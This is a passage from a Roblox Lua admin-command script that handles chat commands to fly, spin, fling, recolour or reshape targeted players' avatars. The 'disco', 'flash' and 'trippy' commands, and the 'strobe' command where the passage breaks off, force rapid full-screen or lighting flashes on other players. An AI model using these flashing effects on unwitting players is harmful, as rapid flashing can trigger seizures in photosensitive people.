  1710. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1711. end
  1712.  
  1713. if msg:lower():sub(1,4) == "fly " then
  1714. local plrz = GetPlr(plr, msg:lower():sub(5))
  1715. for i, v in pairs(plrz) do
  1716. coroutine.resume(coroutine.create(function()
  1717. if v and v:findFirstChild("PlayerGui") then
  1718. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1719. local mouse = game.Players.LocalPlayer:GetMouse()
  1720. repeat wait() until mouse
  1721. local plr = game.Players.LocalPlayer
  1722. local torso = plr.Character.Torso
  1723. local flying = true
  1724. local deb = true
  1725. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1726. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1727. local maxspeed = 50
  1728. local speed = 0
  1729. function Fly()
  1730. local bg = Instance.new("BodyGyro", torso)
  1731. bg.P = 9e4
  1732. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1733. bg.cframe = torso.CFrame
  1734. local bv = Instance.new("BodyVelocity", torso)
  1735. bv.velocity = Vector3.new(0,0.1,0)
  1736. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1737. repeat wait()
  1738. plr.Character.Humanoid.PlatformStand = true
  1739. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1740. speed = speed+.5+(speed/maxspeed)
  1741. if speed > maxspeed then
  1742. speed = maxspeed
  1743. end
  1744. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1745. speed = speed-1
  1746. if speed < 0 then
  1747. speed = 0
  1748. end
  1749. end
  1750. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1751. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1752. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1753. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1754. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1755. else
  1756. bv.velocity = Vector3.new(0,0.1,0)
  1757. end
  1758. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1759. until not flying
  1760. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1761. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1762. speed = 0
  1763. bg:Destroy()
  1764. bv:Destroy()
  1765. plr.Character.Humanoid.PlatformStand = false
  1766. end
  1767. mouse.KeyDown:connect(function(key)
  1768. if key:lower() == "e" then
  1769. if flying then flying = false
  1770. else
  1771. flying = true
  1772. Fly()
  1773. end
  1774. elseif key:lower() == "w" then
  1775. ctrl.f = 1
  1776. elseif key:lower() == "s" then
  1777. ctrl.b = -1
  1778. elseif key:lower() == "a" then
  1779. ctrl.l = -1
  1780. elseif key:lower() == "d" then
  1781. ctrl.r = 1
  1782. end
  1783. end)
  1784. mouse.KeyUp:connect(function(key)
  1785. if key:lower() == "w" then
  1786. ctrl.f = 0
  1787. elseif key:lower() == "s" then
  1788. ctrl.b = 0
  1789. elseif key:lower() == "a" then
  1790. ctrl.l = 0
  1791. elseif key:lower() == "d" then
  1792. ctrl.r = 0
  1793. end
  1794. end)
  1795. Fly()]]
  1796. cl.Parent = v.PlayerGui cl.Disabled = false
  1797. end
  1798. end))
  1799. end
  1800. end
  1801.  
  1802. if msg:lower():sub(1,6) == "unfly " then
  1803. local plrz = GetPlr(plr, msg:lower():sub(7))
  1804. for i, v in pairs(plrz) do
  1805. coroutine.resume(coroutine.create(function()
  1806. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1807. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1808. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1809. wait(.1) v.Character.Humanoid.PlatformStand = false
  1810. end
  1811. end))
  1812. end
  1813. end
  1814.  
  1815. if msg:lower() == "disco" then
  1816. for i, v in pairs(lobjs) do v:Destroy() end
  1817. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1818. game.Lighting.Ambient = color
  1819. game.Lighting.FogColor = color
  1820. until nil]]
  1821. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1822. end
  1823.  
  1824. if msg:lower() == "flash" then
  1825. for i, v in pairs(lobjs) do v:Destroy() end
  1826. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1827. game.Lighting.Ambient = Color3.new(1,1,1)
  1828. game.Lighting.FogColor = Color3.new(1,1,1)
  1829. game.Lighting.Brightness = 1
  1830. game.Lighting.TimeOfDay = 14
  1831. wait(.1)
  1832. game.Lighting.Ambient = Color3.new(0,0,0)
  1833. game.Lighting.FogColor = Color3.new(0,0,0)
  1834. game.Lighting.Brightness = 0
  1835. game.Lighting.TimeOfDay = 0
  1836. until nil]]
  1837. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1838. end
  1839.  
  1840. if msg:lower():sub(1,5) == "spin " then
  1841. local plrz = GetPlr(plr, msg:lower():sub(6))
  1842. for i, v in pairs(plrz) do
  1843. coroutine.resume(coroutine.create(function()
  1844. if v and v.Character and v.Character:findFirstChild("Torso") then
  1845. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1846. local torso = v.Character:findFirstChild("Torso")
  1847. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1848. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1849. until not bg or bg.Parent ~= torso
  1850. end
  1851. end))
  1852. end
  1853. end
  1854.  
  1855. if msg:lower():sub(1,7) == "unspin " then
  1856. local plrz = GetPlr(plr, msg:lower():sub(8))
  1857. for i, v in pairs(plrz) do
  1858. coroutine.resume(coroutine.create(function()
  1859. if v and v.Character and v.Character:findFirstChild("Torso") then
  1860. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1861. end
  1862. end))
  1863. end
  1864. end
  1865.  
  1866. if msg:lower():sub(1,4) == "dog " then
  1867. local plrz = GetPlr(plr, msg:lower():sub(5))
  1868. for i, v in pairs(plrz) do
  1869. coroutine.resume(coroutine.create(function()
  1870. if v and v.Character and v.Character:findFirstChild("Torso") then
  1871. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1872. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1873. v.Character.Torso.Transparency = 1
  1874. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1875. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1876. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1877. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1878. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1879. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1880. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1881. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1882. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1883. end
  1884. end))
  1885. end
  1886. end
  1887.  
  1888. if msg:lower():sub(1,6) == "undog " then
  1889. local plrz = GetPlr(plr, msg:lower():sub(7))
  1890. for i, v in pairs(plrz) do
  1891. coroutine.resume(coroutine.create(function()
  1892. if v and v.Character and v.Character:findFirstChild("Torso") then
  1893. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1894. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1895. v.Character.Torso.Transparency = 0
  1896. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1897. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1898. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1899. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1900. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1901. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,8) == "creeper " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(9))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v.Character and v.Character:findFirstChild("Torso") then
  1912. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1913. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1914. v.Character.Torso.Transparency = 0
  1915. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1916. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1917. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1918. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1919. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1920. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1921. end
  1922. end))
  1923. end
  1924. end
  1925.  
  1926. if msg:lower():sub(1,10) == "uncreeper " then
  1927. local plrz = GetPlr(plr, msg:lower():sub(11))
  1928. for i, v in pairs(plrz) do
  1929. coroutine.resume(coroutine.create(function()
  1930. if v and v.Character and v.Character:findFirstChild("Torso") then
  1931. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1932. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1933. v.Character.Torso.Transparency = 0
  1934. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1935. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1936. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1937. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1938. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1939. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1940. end
  1941. end))
  1942. end
  1943. end
  1944.  
  1945. if msg:lower():sub(1,8) == "bighead " then
  1946. local plrz = GetPlr(plr, msg:lower():sub(9))
  1947. for i, v in pairs(plrz) do
  1948. coroutine.resume(coroutine.create(function()
  1949. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1950. end))
  1951. end
  1952. end
  1953.  
  1954. if msg:lower():sub(1,9) == "minihead " then
  1955. local plrz = GetPlr(plr, msg:lower():sub(10))
  1956. for i, v in pairs(plrz) do
  1957. coroutine.resume(coroutine.create(function()
  1958. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1959. end))
  1960. end
  1961. end
  1962.  
  1963. if msg:lower():sub(1,6) == "fling " then
  1964. local plrz = GetPlr(plr, msg:lower():sub(7))
  1965. for i, v in pairs(plrz) do
  1966. coroutine.resume(coroutine.create(function()
  1967. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1968. local xran local zran
  1969. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1970. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1971. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1972. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1973. end
  1974. end))
  1975. end
  1976. end
  1977.  
  1978. if msg:lower():sub(1,8) == "seizure " then
  1979. local plrz = GetPlr(plr, msg:lower():sub(9))
  1980. for i, v in pairs(plrz) do
  1981. coroutine.resume(coroutine.create(function()
  1982. if v and v.Character then
  1983. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1984. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1985. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1986. end
  1987. end))
  1988. end
  1989. end
  1990.  
  1991. if msg:lower():sub(1,10) == "unseizure " then
  1992. local plrz = GetPlr(plr, msg:lower():sub(11))
  1993. for i, v in pairs(plrz) do
  1994. coroutine.resume(coroutine.create(function()
  1995. if v and v.Character then
  1996. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1997. wait(.1) v.Character.Humanoid.PlatformStand = false
  1998. end
  1999. end))
  2000. end
  2001. end
  2002.  
  2003. if msg:lower():sub(1,12) == "removelimbs " then
  2004. local plrz = GetPlr(plr, msg:lower():sub(13))
  2005. for i, v in pairs(plrz) do
  2006. coroutine.resume(coroutine.create(function()
  2007. if v and v.Character then
  2008. for a, obj in pairs(v.Character:children()) do
  2009. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2010. end
  2011. end
  2012. end))
  2013. end
  2014. end
  2015.  
  2016. if msg:lower():sub(1,5) == "name " then
  2017. local chk1 = msg:lower():sub(6):find(" ") + 5
  2018. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2019. for i, v in pairs(plrz) do
  2020. coroutine.resume(coroutine.create(function()
  2021. if v and v.Character and v.Character:findFirstChild("Head") then
  2022. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2023. local char = v.Character
  2024. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2025. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2026. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2027. char.Head.Transparency = 1
  2028. end
  2029. end))
  2030. end
  2031. end
  2032.  
  2033. if msg:lower():sub(1,7) == "unname " then
  2034. local plrz = GetPlr(plr, msg:lower():sub(8))
  2035. for i, v in pairs(plrz) do
  2036. coroutine.resume(coroutine.create(function()
  2037. if v and v.Character and v.Character:findFirstChild("Head") then
  2038. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2039. end
  2040. end))
  2041. end
  2042. end
  2043.  
  2044. if msg:lower():sub(1,5) == "char " then
  2045. local chk1 = msg:lower():sub(6):find(" ") + 5
  2046. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2047. for i, v in pairs(plrz) do
  2048. coroutine.resume(coroutine.create(function()
  2049. if v and v.Character then
  2050. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2051. v:LoadCharacter()
  2052. end
  2053. end))
  2054. end
  2055. end
  2056.  
  2057. if msg:lower():sub(1,7) == "unchar " then
  2058. local plrz = GetPlr(plr, msg:lower():sub(8))
  2059. for i, v in pairs(plrz) do
  2060. coroutine.resume(coroutine.create(function()
  2061. if v and v.Character then
  2062. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2063. v:LoadCharacter()
  2064. end
  2065. end))
  2066. end
  2067. end
  2068.  
  2069. if msg:lower():sub(1,7) == "infect " then
  2070. local plrz = GetPlr(plr, msg:lower():sub(8))
  2071. for i, v in pairs(plrz) do
  2072. coroutine.resume(coroutine.create(function()
  2073. if v and v.Character then
  2074. Infect(v.Character)
  2075. end
  2076. end))
  2077. end
  2078. end
  2079.  
  2080. if msg:lower():sub(1,11) == "rainbowify " then
  2081. local plrz = GetPlr(plr, msg:lower():sub(12))
  2082. for i, v in pairs(plrz) do
  2083. coroutine.resume(coroutine.create(function()
  2084. if v and v.Character and v.Character:findFirstChild("Torso") then
  2085. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2086. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2087. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2088. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2089. cl.Parent = v.Character cl.Disabled = false
  2090. end
  2091. end))
  2092. end
  2093. end
  2094.  
  2095. if msg:lower():sub(1,9) == "flashify " then
  2096. local plrz = GetPlr(plr, msg:lower():sub(10))
  2097. for i, v in pairs(plrz) do
  2098. coroutine.resume(coroutine.create(function()
  2099. if v and v.Character and v.Character:findFirstChild("Torso") then
  2100. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2101. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2102. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2103. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2104. cl.Parent = v.Character cl.Disabled = false
  2105. end
  2106. end))
  2107. end
  2108. end
  2109.  
  2110. if msg:lower():sub(1,8) == "noobify " then
  2111. local plrz = GetPlr(plr, msg:lower():sub(9))
  2112. for i, v in pairs(plrz) do
  2113. coroutine.resume(coroutine.create(function()
  2114. if v and v.Character then
  2115. Noobify(v.Character)
  2116. end
  2117. end))
  2118. end
  2119. end
  2120.  
  2121. if msg:lower():sub(1,9) == "ghostify " then
  2122. local plrz = GetPlr(plr, msg:lower():sub(10))
  2123. for i, v in pairs(plrz) do
  2124. coroutine.resume(coroutine.create(function()
  2125. if v and v.Character and v.Character:findFirstChild("Torso") then
  2126. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2127. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2128. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2129. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2130. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2131. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2132. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2133. end end
  2134. end
  2135. end))
  2136. end
  2137. end
  2138.  
  2139. if msg:lower():sub(1,8) == "goldify " then
  2140. local plrz = GetPlr(plr, msg:lower():sub(9))
  2141. for i, v in pairs(plrz) do
  2142. coroutine.resume(coroutine.create(function()
  2143. if v and v.Character and v.Character:findFirstChild("Torso") then
  2144. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2145. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2146. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2147. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2148. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2149. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2150. end end
  2151. end
  2152. end))
  2153. end
  2154. end
  2155.  
  2156. if msg:lower():sub(1,6) == "shiny " then
  2157. local plrz = GetPlr(plr, msg:lower():sub(7))
  2158. for i, v in pairs(plrz) do
  2159. coroutine.resume(coroutine.create(function()
  2160. if v and v.Character and v.Character:findFirstChild("Torso") then
  2161. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2162. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2163. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2164. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2165. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2166. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2167. end end
  2168. end
  2169. end))
  2170. end
  2171. end
  2172.  
  2173. if msg:lower():sub(1,7) == "normal " then
  2174. local plrz = GetPlr(plr, msg:lower():sub(8))
  2175. for i, v in pairs(plrz) do
  2176. coroutine.resume(coroutine.create(function()
  2177. if v and v.Character and v.Character:findFirstChild("Torso") then
  2178. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2179. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2180. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2181. v.Character.Torso.Transparency = 0
  2182. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2183. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2184. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2185. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2186. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2187. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2188. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2189. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2190. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2191. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2192. end end
  2193. end
  2194. end))
  2195. end
  2196. end
  2197.  
  2198. if msg:lower():sub(1,7) == "trippy " then
  2199. local plrz = GetPlr(plr, msg:lower():sub(8))
  2200. for i, v in pairs(plrz) do
  2201. coroutine.resume(coroutine.create(function()
  2202. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2203. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2204. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2205. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2206. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2207. end
  2208. end))
  2209. end
  2210. end
  2211.  
  2212. if msg:lower():sub(1,9) == "untrippy " then
  2213. local plrz = GetPlr(plr, msg:lower():sub(10))
  2214. for i, v in pairs(plrz) do
  2215. coroutine.resume(coroutine.create(function()
  2216. if v and v:findFirstChild("PlayerGui") then
  2217. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2218. end
  2219. end))
  2220. end
  2221. end
  2222.  
  2223. if msg:lower():sub(1,7) == "strobe " then
  2224. local plrz = GetPlr(plr, msg:lower():sub(8))
  2225. for i, v in pairs(plrz) do
  2226. coroutine.resume(coroutine.create(function()
  2227. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2228. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2229. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2230. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
